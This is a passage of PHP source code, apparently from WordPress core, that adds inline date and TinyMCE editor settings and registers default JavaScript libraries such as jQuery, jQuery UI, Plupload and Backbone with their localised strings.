	$gmt_offset = get_option( 'gmt_offset', 0 );

	$scripts->add_inline_script(
		'wp-date',
		sprintf(
			'wp.date.setSettings( %s );',
			wp_json_encode(
				array(
					'l10n'     => array(
						'locale'        => get_user_locale(),
						'months'        => array_values( $wp_locale->month ),
						'monthsShort'   => array_values( $wp_locale->month_abbrev ),
						'weekdays'      => array_values( $wp_locale->weekday ),
						'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
						'meridiem'      => (object) $wp_locale->meridiem,
						'relative'      => array(
							/* translators: %s: Duration. */
							'future' => __( '%s from now' ),
							/* translators: %s: Duration. */
							'past'   => __( '%s ago' ),
							/* translators: One second from or to a particular datetime, e.g., "a second ago" or "a second from now". */
							's'      => __( 'a second' ),
							/* translators: %d: Duration in seconds from or to a particular datetime, e.g., "4 seconds ago" or "4 seconds from now". */
							'ss'     => __( '%d seconds' ),
							/* translators: One minute from or to a particular datetime, e.g., "a minute ago" or "a minute from now". */
							'm'      => __( 'a minute' ),
							/* translators: %d: Duration in minutes from or to a particular datetime, e.g., "4 minutes ago" or "4 minutes from now". */
							'mm'     => __( '%d minutes' ),
							/* translators: One hour from or to a particular datetime, e.g., "an hour ago" or "an hour from now". */
							'h'      => __( 'an hour' ),
							/* translators: %d: Duration in hours from or to a particular datetime, e.g., "4 hours ago" or "4 hours from now". */
							'hh'     => __( '%d hours' ),
							/* translators: One day from or to a particular datetime, e.g., "a day ago" or "a day from now". */
							'd'      => __( 'a day' ),
							/* translators: %d: Duration in days from or to a particular datetime, e.g., "4 days ago" or "4 days from now". */
							'dd'     => __( '%d days' ),
							/* translators: One month from or to a particular datetime, e.g., "a month ago" or "a month from now". */
							'M'      => __( 'a month' ),
							/* translators: %d: Duration in months from or to a particular datetime, e.g., "4 months ago" or "4 months from now". */
							'MM'     => __( '%d months' ),
							/* translators: One year from or to a particular datetime, e.g., "a year ago" or "a year from now". */
							'y'      => __( 'a year' ),
							/* translators: %d: Duration in years from or to a particular datetime, e.g., "4 years ago" or "4 years from now". */
							'yy'     => __( '%d years' ),
						),
						'startOfWeek'   => (int) get_option( 'start_of_week', 0 ),
					),
					'formats'  => array(
						/* translators: Time format, see https://www.php.net/manual/datetime.format.php */
						'time'                => get_option( 'time_format', __( 'g:i a' ) ),
						/* translators: Date format, see https://www.php.net/manual/datetime.format.php */
						'date'                => get_option( 'date_format', __( 'F j, Y' ) ),
						/* translators: Date/Time format, see https://www.php.net/manual/datetime.format.php */
						'datetime'            => __( 'F j, Y g:i a' ),
						/* translators: Abbreviated date/time format, see https://www.php.net/manual/datetime.format.php */
						'datetimeAbbreviated' => __( 'M j, Y g:i a' ),
					),
					'timezone' => array(
						'offset'          => (float) $gmt_offset,
						'offsetFormatted' => str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), (string) $gmt_offset ),
						'string'          => $timezone_string,
						'abbr'            => $timezone_abbr,
					),
				)
			)
		),
		'after'
	);

	// Loading the old editor and its config to ensure the classic block works as expected.
	$scripts->add_inline_script(
		'editor',
		'window.wp.oldEditor = window.wp.editor;',
		'after'
	);

	/*
	 * wp-editor module is exposed as window.wp.editor.
	 * Problem: there is quite some code expecting window.wp.oldEditor object available under window.wp.editor.
	 * Solution: fuse the two objects together to maintain backward compatibility.
	 * For more context, see https://github.com/WordPress/gutenberg/issues/33203.
	 */
	$scripts->add_inline_script(
		'wp-editor',
		'Object.assign( window.wp.editor, window.wp.oldEditor );',
		'after'
	);
}

/**
 * Adds inline scripts required for the TinyMCE in the block editor.
 *
 * These TinyMCE init settings are used to extend and override the default settings
 * from `_WP_Editors::default_settings()` for the Classic block.
 *
 * @since 5.0.0
 *
 * @global WP_Scripts $wp_scripts
 */
function wp_tinymce_inline_scripts() {
	global $wp_scripts;

	/** This filter is documented in wp-includes/class-wp-editor.php */
	$editor_settings = apply_filters( 'wp_editor_settings', array( 'tinymce' => true ), 'classic-block' );

	$tinymce_plugins = array(
		'charmap',
		'colorpicker',
		'hr',
		'lists',
		'media',
		'paste',
		'tabfocus',
		'textcolor',
		'fullscreen',
		'wordpress',
		'wpautoresize',
		'wpeditimage',
		'wpemoji',
		'wpgallery',
		'wplink',
		'wpdialogs',
		'wptextpattern',
		'wpview',
	);

	/** This filter is documented in wp-includes/class-wp-editor.php */
	$tinymce_plugins = apply_filters( 'tiny_mce_plugins', $tinymce_plugins, 'classic-block' );
	$tinymce_plugins = array_unique( $tinymce_plugins );

	$disable_captions = false;
	// Runs after `tiny_mce_plugins` but before `mce_buttons`.
	/** This filter is documented in wp-admin/includes/media.php */
	if ( apply_filters( 'disable_captions', '' ) ) {
		$disable_captions = true;
	}

	$toolbar1 = array(
		'formatselect',
		'bold',
		'italic',
		'bullist',
		'numlist',
		'blockquote',
		'alignleft',
		'aligncenter',
		'alignright',
		'link',
		'unlink',
		'wp_more',
		'spellchecker',
		'wp_add_media',
		'wp_adv',
	);

	/** This filter is documented in wp-includes/class-wp-editor.php */
	$toolbar1 = apply_filters( 'mce_buttons', $toolbar1, 'classic-block' );

	$toolbar2 = array(
		'strikethrough',
		'hr',
		'forecolor',
		'pastetext',
		'removeformat',
		'charmap',
		'outdent',
		'indent',
		'undo',
		'redo',
		'wp_help',
	);

	/** This filter is documented in wp-includes/class-wp-editor.php */
	$toolbar2 = apply_filters( 'mce_buttons_2', $toolbar2, 'classic-block' );
	/** This filter is documented in wp-includes/class-wp-editor.php */
	$toolbar3 = apply_filters( 'mce_buttons_3', array(), 'classic-block' );
	/** This filter is documented in wp-includes/class-wp-editor.php */
	$toolbar4 = apply_filters( 'mce_buttons_4', array(), 'classic-block' );
	/** This filter is documented in wp-includes/class-wp-editor.php */
	$external_plugins = apply_filters( 'mce_external_plugins', array(), 'classic-block' );

	$tinymce_settings = array(
		'plugins'              => implode( ',', $tinymce_plugins ),
		'toolbar1'             => implode( ',', $toolbar1 ),
		'toolbar2'             => implode( ',', $toolbar2 ),
		'toolbar3'             => implode( ',', $toolbar3 ),
		'toolbar4'             => implode( ',', $toolbar4 ),
		'external_plugins'     => wp_json_encode( $external_plugins ),
		'classic_block_editor' => true,
	);

	if ( $disable_captions ) {
		$tinymce_settings['wpeditimage_disable_captions'] = true;
	}

	if ( ! empty( $editor_settings['tinymce'] ) && is_array( $editor_settings['tinymce'] ) ) {
		array_merge( $tinymce_settings, $editor_settings['tinymce'] );
	}

	/** This filter is documented in wp-includes/class-wp-editor.php */
	$tinymce_settings = apply_filters( 'tiny_mce_before_init', $tinymce_settings, 'classic-block' );

	/*
	 * Do "by hand" translation from PHP array to js object.
	 * Prevents breakage in some custom settings.
	 */
	$init_obj = '';
	foreach ( $tinymce_settings as $key => $value ) {
		if ( is_bool( $value ) ) {
			$val       = $value ? 'true' : 'false';
			$init_obj .= $key . ':' . $val . ',';
			continue;
		} elseif ( ! empty( $value ) && is_string( $value ) && (
			( '{' === $value[0] && '}' === $value[ strlen( $value ) - 1 ] ) ||
			( '[' === $value[0] && ']' === $value[ strlen( $value ) - 1 ] ) ||
			preg_match( '/^\(?function ?\(/', $value ) ) ) {
			$init_obj .= $key . ':' . $value . ',';
			continue;
		}
		$init_obj .= $key . ':"' . $value . '",';
	}

	$init_obj = '{' . trim( $init_obj, ' ,' ) . '}';

	$script = 'window.wpEditorL10n = {
		tinymce: {
			baseURL: ' . wp_json_encode( includes_url( 'js/tinymce' ) ) . ',
			suffix: ' . ( SCRIPT_DEBUG ? '""' : '".min"' ) . ',
			settings: ' . $init_obj . ',
		}
	}';

	$wp_scripts->add_inline_script( 'wp-block-library', $script, 'before' );
}

/**
 * Registers all the WordPress packages scripts.
 *
 * @since 5.0.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_packages( $scripts ) {
	wp_default_packages_vendor( $scripts );
	wp_register_development_scripts( $scripts );
	wp_register_tinymce_scripts( $scripts );
	wp_default_packages_scripts( $scripts );

	if ( did_action( 'init' ) ) {
		wp_default_packages_inline_scripts( $scripts );
	}
}

/**
 * Returns the suffix that can be used for the scripts.
 *
 * There are two suffix types, the normal one and the dev suffix.
 *
 * @since 5.0.0
 *
 * @param string $type The type of suffix to retrieve.
 * @return string The script suffix.
 */
function wp_scripts_get_suffix( $type = '' ) {
	static $suffixes;

	if ( null === $suffixes ) {
		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		/*
		 * Note: str_contains() is not used here, as this file can be included
		 * via wp-admin/load-scripts.php or wp-admin/load-styles.php, in which case
		 * the polyfills from wp-includes/compat.php are not loaded.
		 */
		$develop_src = false !== strpos( $wp_version, '-src' );

		if ( ! defined( 'SCRIPT_DEBUG' ) ) {
			define( 'SCRIPT_DEBUG', $develop_src );
		}
		$suffix     = SCRIPT_DEBUG ? '' : '.min';
		$dev_suffix = $develop_src ? '' : '.min';

		$suffixes = array(
			'suffix'     => $suffix,
			'dev_suffix' => $dev_suffix,
		);
	}

	if ( 'dev' === $type ) {
		return $suffixes['dev_suffix'];
	}

	return $suffixes['suffix'];
}

/**
 * Registers all WordPress scripts.
 *
 * Localizes some of them.
 * args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
 * when last arg === 1 queues the script for the footer
 *
 * @since 2.6.0
 *
 * @param WP_Scripts $scripts WP_Scripts object.
 */
function wp_default_scripts( $scripts ) {
	$suffix     = wp_scripts_get_suffix();
	$dev_suffix = wp_scripts_get_suffix( 'dev' );
	$guessurl   = site_url();

	if ( ! $guessurl ) {
		$guessed_url = true;
		$guessurl    = wp_guess_url();
	}

	$scripts->base_url        = $guessurl;
	$scripts->content_url     = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : '';
	$scripts->default_version = get_bloginfo( 'version' );
	$scripts->default_dirs    = array( '/wp-admin/js/', '/wp-includes/js/' );

	$scripts->add( 'utils', "/wp-includes/js/utils$suffix.js" );
	did_action( 'init' ) && $scripts->localize(
		'utils',
		'userSettings',
		array(
			'url'    => (string) SITECOOKIEPATH,
			'uid'    => (string) get_current_user_id(),
			'time'   => (string) time(),
			'secure' => (string) ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) ),
		)
	);

	$scripts->add( 'common', "/wp-admin/js/common$suffix.js", array( 'jquery', 'hoverIntent', 'utils' ), false, 1 );
	$scripts->set_translations( 'common' );

	$scripts->add( 'wp-sanitize', "/wp-includes/js/wp-sanitize$suffix.js", array(), false, 1 );

	$scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );

	$scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", array(), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'quicktags',
		'quicktagsL10n',
		array(
			'closeAllOpenTags'      => __( 'Close all open tags' ),
			'closeTags'             => __( 'close tags' ),
			'enterURL'              => __( 'Enter the URL' ),
			'enterImageURL'         => __( 'Enter the URL of the image' ),
			'enterImageDescription' => __( 'Enter a description of the image' ),
			'textdirection'         => __( 'text direction' ),
			'toggleTextdirection'   => __( 'Toggle Editor Text Direction' ),
			'dfw'                   => __( 'Distraction-free writing mode' ),
			'strong'                => __( 'Bold' ),
			'strongClose'           => __( 'Close bold tag' ),
			'em'                    => __( 'Italic' ),
			'emClose'               => __( 'Close italic tag' ),
			'link'                  => __( 'Insert link' ),
			'blockquote'            => __( 'Blockquote' ),
			'blockquoteClose'       => __( 'Close blockquote tag' ),
			'del'                   => __( 'Deleted text (strikethrough)' ),
			'delClose'              => __( 'Close deleted text tag' ),
			'ins'                   => __( 'Inserted text' ),
			'insClose'              => __( 'Close inserted text tag' ),
			'image'                 => __( 'Insert image' ),
			'ul'                    => __( 'Bulleted list' ),
			'ulClose'               => __( 'Close bulleted list tag' ),
			'ol'                    => __( 'Numbered list' ),
			'olClose'               => __( 'Close numbered list tag' ),
			'li'                    => __( 'List item' ),
			'liClose'               => __( 'Close list item tag' ),
			'code'                  => __( 'Code' ),
			'codeClose'             => __( 'Close code tag' ),
			'more'                  => __( 'Insert Read More tag' ),
		)
	);

	$scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array( 'prototype' ), '3517m' );

	$scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array( 'utils', 'jquery' ), false, 1 );

	$scripts->add( 'clipboard', "/wp-includes/js/clipboard$suffix.js", array(), '2.0.11', 1 );

	$scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'wp-ajax-response',
		'wpAjax',
		array(
			'noPerm' => __( 'Sorry, you are not allowed to do that.' ),
			'broken' => __( 'Something went wrong.' ),
		)
	);

	$scripts->add( 'wp-api-request', "/wp-includes/js/api-request$suffix.js", array( 'jquery' ), false, 1 );
	// `wpApiSettings` is also used by `wp-api`, which depends on this script.
	did_action( 'init' ) && $scripts->localize(
		'wp-api-request',
		'wpApiSettings',
		array(
			'root'          => sanitize_url( get_rest_url() ),
			'nonce'         => wp_installing() ? '' : wp_create_nonce( 'wp_rest' ),
			'versionString' => 'wp/v2/',
		)
	);

	$scripts->add( 'wp-pointer', "/wp-includes/js/wp-pointer$suffix.js", array( 'jquery-ui-core' ), false, 1 );
	$scripts->set_translations( 'wp-pointer' );

	$scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array( 'heartbeat' ), false, 1 );

	$scripts->add( 'heartbeat', "/wp-includes/js/heartbeat$suffix.js", array( 'jquery', 'wp-hooks' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'heartbeat',
		'heartbeatSettings',
		/**
		 * Filters the Heartbeat settings.
		 *
		 * @since 3.6.0
		 *
		 * @param array $settings Heartbeat settings array.
		 */
		apply_filters( 'heartbeat_settings', array() )
	);

	$scripts->add( 'wp-auth-check', "/wp-includes/js/wp-auth-check$suffix.js", array( 'heartbeat' ), false, 1 );
	$scripts->set_translations( 'wp-auth-check' );

	$scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 );

	$scripts->add( 'site-icon', '/wp-admin/js/site-icon.js', array( 'jquery' ), false, 1 );
	$scripts->set_translations( 'site-icon' );

	// WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source.
	$scripts->add( 'prototype', 'https://ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1' );
	$scripts->add( 'scriptaculous-root', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array( 'prototype' ), '1.9.0' );
	$scripts->add( 'scriptaculous-builder', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array( 'scriptaculous-root' ), '1.9.0' );
	$scripts->add( 'scriptaculous-dragdrop', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array( 'scriptaculous-builder', 'scriptaculous-effects' ), '1.9.0' );
	$scripts->add( 'scriptaculous-effects', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array( 'scriptaculous-root' ), '1.9.0' );
	$scripts->add( 'scriptaculous-slider', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array( 'scriptaculous-effects' ), '1.9.0' );
	$scripts->add( 'scriptaculous-sound', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' );
	$scripts->add( 'scriptaculous-controls', 'https://ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array( 'scriptaculous-root' ), '1.9.0' );
	$scripts->add( 'scriptaculous', false, array( 'scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls' ) );

	// Not used in core, replaced by Jcrop.js.
	$scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array( 'scriptaculous-dragdrop' ) );

	/*
	 * jQuery.
	 * The unminified jquery.js and jquery-migrate.js are included to facilitate debugging.
	 */
	$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '3.7.1' );
	$scripts->add( 'jquery-core', "/wp-includes/js/jquery/jquery$suffix.js", array(), '3.7.1' );
	$scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '3.4.1' );

	/*
	 * Full jQuery UI.
	 * The build process in 1.12.1 has changed significantly.
	 * In order to keep backwards compatibility, and to keep the optimized loading,
	 * the source files were flattened and included with some modifications for AMD loading.
	 * A notable change is that 'jquery-ui-core' now contains 'jquery-ui-position' and 'jquery-ui-widget'.
	 */
	$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$suffix.js", array( 'jquery' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$suffix.js", array( 'jquery' ), '1.13.2', 1 );

	$scripts->add( 'jquery-effects-blind', "/wp-includes/js/jquery/ui/effect-blind$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-bounce', "/wp-includes/js/jquery/ui/effect-bounce$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-clip', "/wp-includes/js/jquery/ui/effect-clip$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-drop', "/wp-includes/js/jquery/ui/effect-drop$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-explode', "/wp-includes/js/jquery/ui/effect-explode$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-fade', "/wp-includes/js/jquery/ui/effect-fade$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-fold', "/wp-includes/js/jquery/ui/effect-fold$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-highlight', "/wp-includes/js/jquery/ui/effect-highlight$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-puff', "/wp-includes/js/jquery/ui/effect-puff$suffix.js", array( 'jquery-effects-core', 'jquery-effects-scale' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-pulsate', "/wp-includes/js/jquery/ui/effect-pulsate$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-scale', "/wp-includes/js/jquery/ui/effect-scale$suffix.js", array( 'jquery-effects-core', 'jquery-effects-size' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-shake', "/wp-includes/js/jquery/ui/effect-shake$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-size', "/wp-includes/js/jquery/ui/effect-size$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-slide', "/wp-includes/js/jquery/ui/effect-slide$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-effects-transfer', "/wp-includes/js/jquery/ui/effect-transfer$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );

	// Widgets
	$scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$suffix.js", array( 'jquery-ui-menu', 'wp-a11y' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$suffix.js", array( 'jquery-ui-core', 'jquery-ui-controlgroup', 'jquery-ui-checkboxradio' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$suffix.js", array( 'jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$suffix.js", array( 'jquery-ui-menu' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$suffix.js", array( 'jquery-ui-button' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );

	// New in 1.12.1
	$scripts->add( 'jquery-ui-checkboxradio', "/wp-includes/js/jquery/ui/checkboxradio$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-controlgroup', "/wp-includes/js/jquery/ui/controlgroup$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );

	// Interactions
	$scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$suffix.js", array( 'jquery-ui-draggable' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );

	/*
	 * As of 1.12.1 `jquery-ui-position` and `jquery-ui-widget` are part of `jquery-ui-core`.
	 * Listed here for back-compat.
	 */
	$scripts->add( 'jquery-ui-position', false, array( 'jquery-ui-core' ), '1.13.2', 1 );
	$scripts->add( 'jquery-ui-widget', false, array( 'jquery-ui-core' ), '1.13.2', 1 );

	// Deprecated, not used in core, most functionality is included in jQuery 1.3.
	$scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array( 'jquery' ), '4.3.0', 1 );

	// jQuery plugins.
	$scripts->add( 'jquery-color', '/wp-includes/js/jquery/jquery.color.min.js', array( 'jquery' ), '2.2.0', 1 );
	$scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array( 'jquery' ), '20m', 1 );
	$scripts->add( 'jquery-query', '/wp-includes/js/jquery/jquery.query.js', array( 'jquery' ), '2.2.3', 1 );
	$scripts->add( 'jquery-serialize-object', '/wp-includes/js/jquery/jquery.serialize-object.js', array( 'jquery' ), '0.2-wp', 1 );
	$scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array( 'jquery' ), '0.0.2m', 1 );
	$scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array( 'jquery', 'jquery-hotkeys' ), false, 1 );
	$scripts->add( 'jquery-touch-punch', '/wp-includes/js/jquery/jquery.ui.touch-punch.js', array( 'jquery-ui-core', 'jquery-ui-mouse' ), '0.2.2', 1 );

	// Not used any more, registered for backward compatibility.
	$scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array( 'jquery' ), '1.1-20110113', 1 );

	/*
	 * Masonry v2 depended on jQuery. v3 does not. The older jquery-masonry handle is a shiv.
	 * It sets jQuery as a dependency, as the theme may have been implicitly loading it this way.
	 */
	$scripts->add( 'imagesloaded', '/wp-includes/js/imagesloaded.min.js', array(), '5.0.0', 1 );
	$scripts->add( 'masonry', '/wp-includes/js/masonry.min.js', array( 'imagesloaded' ), '4.2.2', 1 );
	$scripts->add( 'jquery-masonry', '/wp-includes/js/jquery/jquery.masonry.min.js', array( 'jquery', 'masonry' ), '3.1.2b', 1 );

	$scripts->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.js', array( 'jquery' ), '3.1-20121105', 1 );
	did_action( 'init' ) && $scripts->localize(
		'thickbox',
		'thickboxL10n',
		array(
			'next'             => __( 'Next &gt;' ),
			'prev'             => __( '&lt; Prev' ),
			'image'            => __( 'Image' ),
			'of'               => __( 'of' ),
			'close'            => __( 'Close' ),
			'noiframes'        => __( 'This feature requires inline frames. You have iframes disabled or your browser does not support them.' ),
			'loadingAnimation' => includes_url( 'js/thickbox/loadingAnimation.gif' ),
		)
	);

	// Not used in core, replaced by imgAreaSelect.
	$scripts->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.js', array( 'jquery' ), '0.9.15' );

	$scripts->add( 'swfobject', '/wp-includes/js/swfobject.js', array(), '2.2-20120417' );

	// Error messages for Plupload.
	$uploader_l10n = array(
		'queue_limit_exceeded'      => __( 'You have attempted to queue too many files.' ),
		/* translators: %s: File name. */
		'file_exceeds_size_limit'   => __( '%s exceeds the maximum upload size for this site.' ),
		'zero_byte_file'            => __( 'This file is empty. Please try another.' ),
		'invalid_filetype'          => __( 'Sorry, you are not allowed to upload this file type.' ),
		'not_an_image'              => __( 'This file is not an image. Please try another.' ),
		'image_memory_exceeded'     => __( 'Memory exceeded. Please try another smaller file.' ),
		'image_dimensions_exceeded' => __( 'This is larger than the maximum size. Please try another.' ),
		'default_error'             => __( 'An error occurred in the upload. Please try again later.' ),
		'missing_upload_url'        => __( 'There was a configuration error. Please contact the server administrator.' ),
		'upload_limit_exceeded'     => __( 'You may only upload 1 file.' ),
		'http_error'                => __( 'Unexpected response from the server. The file may have been uploaded successfully. Check in the Media Library or reload the page.' ),
		'http_error_image'          => __( 'The server cannot process the image. This can happen if the server is busy or does not have enough resources to complete the task. Uploading a smaller image may help. Suggested maximum size is 2560 pixels.' ),
		'upload_failed'             => __( 'Upload failed.' ),
		/* translators: 1: Opening link tag, 2: Closing link tag. */
		'big_upload_failed'         => __( 'Please try uploading this file with the %1$sbrowser uploader%2$s.' ),
		/* translators: %s: File name. */
		'big_upload_queued'         => __( '%s exceeds the maximum upload size for the multi-file uploader when used in your browser.' ),
		'io_error'                  => __( 'IO error.' ),
		'security_error'            => __( 'Security error.' ),
		'file_cancelled'            => __( 'File canceled.' ),
		'upload_stopped'            => __( 'Upload stopped.' ),
		'dismiss'                   => __( 'Dismiss' ),
		'crunching'                 => __( 'Crunching&hellip;' ),
		'deleted'                   => __( 'moved to the Trash.' ),
		/* translators: %s: File name. */
		'error_uploading'           => __( '&#8220;%s&#8221; has failed to upload.' ),
		'unsupported_image'         => __( 'This image cannot be displayed in a web browser. For best results convert it to JPEG before uploading.' ),
		'noneditable_image'         => __( 'This image cannot be processed by the web server. Convert it to JPEG or PNG before uploading.' ),
		'file_url_copied'           => __( 'The file URL has been copied to your clipboard' ),
	);

	$scripts->add( 'moxiejs', "/wp-includes/js/plupload/moxie$suffix.js", array(), '1.3.5' );
	$scripts->add( 'plupload', "/wp-includes/js/plupload/plupload$suffix.js", array( 'moxiejs' ), '2.1.9' );
	// Back compat handles:
	foreach ( array( 'all', 'html5', 'flash', 'silverlight', 'html4' ) as $handle ) {
		$scripts->add( "plupload-$handle", false, array( 'plupload' ), '2.1.1' );
	}

	$scripts->add( 'plupload-handlers', "/wp-includes/js/plupload/handlers$suffix.js", array( 'clipboard', 'jquery', 'plupload', 'underscore', 'wp-a11y', 'wp-i18n' ) );
	did_action( 'init' ) && $scripts->localize( 'plupload-handlers', 'pluploadL10n', $uploader_l10n );

	$scripts->add( 'wp-plupload', "/wp-includes/js/plupload/wp-plupload$suffix.js", array( 'plupload', 'jquery', 'json2', 'media-models' ), false, 1 );
	did_action( 'init' ) && $scripts->localize( 'wp-plupload', 'pluploadL10n', $uploader_l10n );

	// Keep 'swfupload' for back-compat.
	$scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', array(), '2201-20110113' );
	$scripts->add( 'swfupload-all', false, array( 'swfupload' ), '2201' );
	$scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array( 'swfupload-all', 'jquery' ), '2201-20110524' );
	did_action( 'init' ) && $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', $uploader_l10n );

	$scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", array(), false, 1 );
	did_action( 'init' ) && $scripts->add_data( 'comment-reply', 'strategy', 'async' );

	$scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", array(), '2015-05-03' );
	did_action( 'init' ) && $scripts->add_data( 'json2', 'conditional', 'lt IE 8' );

	$scripts->add( 'underscore', "/wp-includes/js/underscore$dev_suffix.js", array(), '1.13.4', 1 );
	$scripts->add( 'backbone', "/wp-includes/js/backbone$dev_suffix.js", array( 'underscore', 'jquery' ), '1.5.0', 1 );

	$scripts->add( 'wp-util', "/wp-includes/js/wp-util$suffix.js", array( 'underscore', 'jquery' ), false, 1 );
	did_action( 'init' ) && $scripts->localize(
		'wp-util',
		'_wpUtilSettings',
		array(
			'ajax' => array(
				'url' => admin_url( 'admin-ajax.php', 'relative' ),
			),
		)
	);

